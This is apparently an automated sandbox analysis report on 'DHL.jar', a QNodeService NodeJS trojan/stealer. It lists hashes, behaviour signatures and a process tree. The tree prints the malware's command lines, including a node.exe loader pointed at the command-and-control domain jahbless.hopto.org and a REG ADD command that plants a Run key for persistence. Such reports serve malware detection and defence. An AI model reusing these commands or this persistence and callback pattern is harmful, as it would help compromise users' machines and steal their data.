Analysis

  • max time kernel
    148s
  • max time network
    129s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    14-10-2020 16:24

General

  • Target

    DHL.jar

  • Size

    103KB

  • MD5

    681bbe7088c5ab72967e9d1b3a45de83

  • SHA1

    ac74a19ce1612952dae1bc40a5e726f4671d550a

  • SHA256

    d858a274f48d62d710ec65a7022a5adc6461b09dd42d5c075b3525cce845036c

  • SHA512

    96b5e6b28bd94c2c4ab8efde121e45336faf5cf6d3d6772d354c75b1dddf24426f36a0d73de388184e71190d331acb20d9684d9f03b14ec7ebf42755413bbe5a

Malware Config

Signatures

  • QNodeService

    Trojan/stealer written in NodeJS and spread via Java downloader.

  • Executes dropped EXE 3 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • JavaScript code in executable 3 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\ProgramData\Oracle\Java\javapath\java.exe
    java -jar C:\Users\Admin\AppData\Local\Temp\DHL.jar
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3828
    • C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
      "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\2feca94e.tmp
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2240
      • C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain jahbless.hopto.org --hub-domain localhost
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:2180
        • C:\Users\Admin\node-v14.12.0-win-x64\node.exe
          C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_Gju2jC\boot.js --hub-domain jahbless.hopto.org --hub-domain localhost
          4⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:1364
          • C:\Users\Admin\node-v14.12.0-win-x64\node.exe
            C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_Gju2jC\boot.js --hub-domain jahbless.hopto.org --hub-domain localhost
            5⤵
            • Executes dropped EXE
            • Checks processor information in registry
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:3144
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "a728b905-d7ba-4c7c-863c-2e9d38b65d84" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:1228
              • C:\Windows\system32\reg.exe
                REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "a728b905-d7ba-4c7c-863c-2e9d38b65d84" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
                7⤵
                • Adds Run key to start application
                PID:3600

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/1364-173-0x000002D5C6080000-0x000002D5C6081000-memory.dmp

    Filesize

    4KB

  • memory/2180-170-0x0000010BDAC00000-0x0000010BDAC01000-memory.dmp

    Filesize

    4KB

  • memory/3144-177-0x00000160821C0000-0x00000160821C1000-memory.dmp

    Filesize

    4KB